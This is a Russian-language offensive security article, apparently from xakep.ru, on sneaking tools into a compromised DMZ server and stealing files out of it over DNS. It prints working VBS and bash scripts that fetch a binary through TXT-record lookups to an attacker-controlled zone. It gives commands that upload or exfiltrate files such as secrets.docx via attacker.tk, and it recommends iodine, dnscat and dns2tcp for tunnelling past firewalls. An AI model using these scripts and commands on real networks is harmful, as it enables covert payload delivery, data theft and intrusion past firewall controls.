Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Представь, что тебе удалось пробить сетевой периметр и получить доступ к серверу. Сервер входит во внутреннюю сеть компании, а это значит, что ты можешь проникнуть и туда. Но, к сожалению, скомпрометированный узел находится в DMZ и не имеет выхода в интернет. Сможем ли мы пробраться внутрь теперь?
В большинстве случаев внутренние сети никак не ограничивают разрешение DNS-имен произвольных зон. А поскольку природа DNS распределенная, тот или иной DNS-запрос может приходить точно на подконтрольный сервер злоумышленника. В итоге мы получим полноценный канал передачи данных.
В наши дни существуют замечательные решения для организации целых VPN-туннелей через DNS, такие как iodine. При этом, даже если ты не имеешь прав root, ты всегда можешь воспользоваться dnscat или dns2tcp, который пробросит произвольное соединение, скажем, на прокси. И в том и в другом случае ты сможешь преодолеть ограничения файрволов и начать продвижение по внутренней сети.
Но остается нерешенным главный вопрос: как передать эти программы в скомпрометированную сеть? В этом нам поможет набор моих скриптов для инфильтрации и эксфильтрации данных на все случаи жизни. Главная их особенность в полном отсутствии требований к административным привилегиям и прицел на переносимость — ведь на исследуемом сервере окажется либо Windows, либо Linux.
DNS — наш незаменимый помощник. С помощью следующего кода мы можем скачать любой файл с использованием DNS на любую Windows:
dns_download.vbs
On Error Resume NextSet objShell = CreateObject("WScript.Shell")Set writer = CreateObject("Scripting.FileSystemObject").createtextfile("c:windowstempout.exe")For d = 1 To 1190 pos = 0 While pos = 0 Set exec = objShell.Exec("nslookup -type=txt d"&d&".txt.yourzone.tk") res = exec.Stdout.ReadAll() pos = inStr(1,res,"?") txt = Mid(res,pos+1,253) Wscript.Echo d & " " & txt Wend For b = 0 To Len(txt)/2-1 writer.Write Chr(CInt("&H" & Mid(txt,1+b*2,2))) NextNext
А вот скрипт для Linux:
dns_download.sh
#!/bin/bashfor i in `seq $2`do answ=`host -t txt "d$i.txt.$1"|cut -d ' ' -f 4` echo ${answ:2:-1} | xxd -r -p - >> $3 echo $i ${answ:2:-1}done
Язык VBS обеспечивает нам стопроцентную переносимость между всеми версиями Windows (в отличие от PowerShell). Под Linux, как всегда, используем bash.
На стороне скомпрометированного сервера скрипты запускаются следующим образом.
Вариант для Windows:
cscript.exe dns_download.vbs
Для Linux:
./dns_download.sh attacker.tk 1190 /tmp/dnscat
На стороне атакующего — так:
sudo ./dns_upload.py --udp --file dnscat.exe
Например, на скриншотах ниже программа dns2tcpc.exe
передается через DNS с NS-сервера подконтрольной мне DNS-зоны на victim с использованием чистого VBS.
Произвольные данные будут проходить через TXT-записи в виде hexastring.
Далее мы можем развивать DNS-туннелирование уже с использованием привычных инструментов.
Аналогичным образом мы можем и выгружать файлы с victim. На атакующей стороне это делается так:
sudo ./dns_download.py --udp --file secrets.docx
На стороне жертвы — так:
cscript.exe dns_upload.vbs c:pathtosecrets.docx attacker.tk
При эксплуатации уязвимостей из интернета нужно помнить, что атакуемая система, скорее всего, находится в DMZ, откуда доступа в интернет у нее может и не быть. Так что заряжать эксплоит reverse_tcp
шелл‑кодами окажется бесполезным занятием. Шелл не откроется, и ты подумаешь, что цель неуязвима, пропатчена или просто эксплоит нерабочий. Хотя все дело в payload.
Источник: xakep.ru